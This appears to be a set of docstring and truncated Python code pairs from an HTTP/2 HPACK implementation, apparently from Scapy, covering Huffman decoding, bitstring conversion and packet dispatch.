huffman_decode decodes the bitstring provided as parameters. @param int i: the bitstring to decode @param int ibl: the bitlength of i @return str: the string decoded from the bitstring @raise AssertionError, InvalidEncodingException
def huffman_decode(cls, i, ibl): # type: (int, int) -> str """ huffman_decode decodes the bitstring provided as parameters. @param int i: the bitstring to decode @param int ibl: the bitlength of i @return str: the string decoded from the bitstring @raise AssertionError, ...
huffman_conv2str converts a bitstring of bit_len bitlength into a binary string. It DOES NOT compress/decompress the bitstring! @param int bit_str: the bitstring to convert. @param int bit_len: the bitlength of bit_str. @return str: the converted bitstring as a bytestring. @rais...
def huffman_conv2str(cls, bit_str, bit_len): # type: (int, int) -> str """ huffman_conv2str converts a bitstring of bit_len bitlength into a binary string. It DOES NOT compress/decompress the bitstring! @param int bit_str: the bitstring to convert. @param int bit_len: the bitlen...
huffman_conv2bitstring converts a string into its bitstring representation. It returns a tuple: the bitstring and its bitlength. This function DOES NOT compress/decompress the string! @param str s: the bytestring to convert. @return (int, int): the bitstring of s, and its bitlength. ...
def huffman_conv2bitstring(cls, s): # type: (str) -> Tuple[int, int] """ huffman_conv2bitstring converts a string into its bitstring representation. It returns a tuple: the bitstring and its bitlength. This function DOES NOT compress/decompress the string! @param str s: the byte...
huffman_compute_decode_tree initializes/builds the static_huffman_tree @return None @raise InvalidEncodingException if there is an encoding problem
def huffman_compute_decode_tree(cls): # type: () -> None """ huffman_compute_decode_tree initializes/builds the static_huffman_tree @return None @raise InvalidEncodingException if there is an encoding problem """ cls.static_huffman_tree = HuffmanNode(None, None) ...
self_build is overridden because type and len are determined at build time, based on the "data" field internal type
def self_build(self, field_pos_list=None): # type: (Any) -> str """self_build is overridden because type and len are determined at build time, based on the "data" field internal type """ if self.getfieldval('type') is None: self.type = 1 if isinstance(self.getfieldval...
dispatch_hook returns the subclass of HPackHeaders that must be used to dissect the string.
def dispatch_hook(cls, s=None, *_args, **_kwds): # type: (Optional[str], *Any, **Any) -> base_classes.Packet_metaclass """dispatch_hook returns the subclass of HPackHeaders that must be used to dissect the string. """ if s is None: return config.conf.raw_layer ...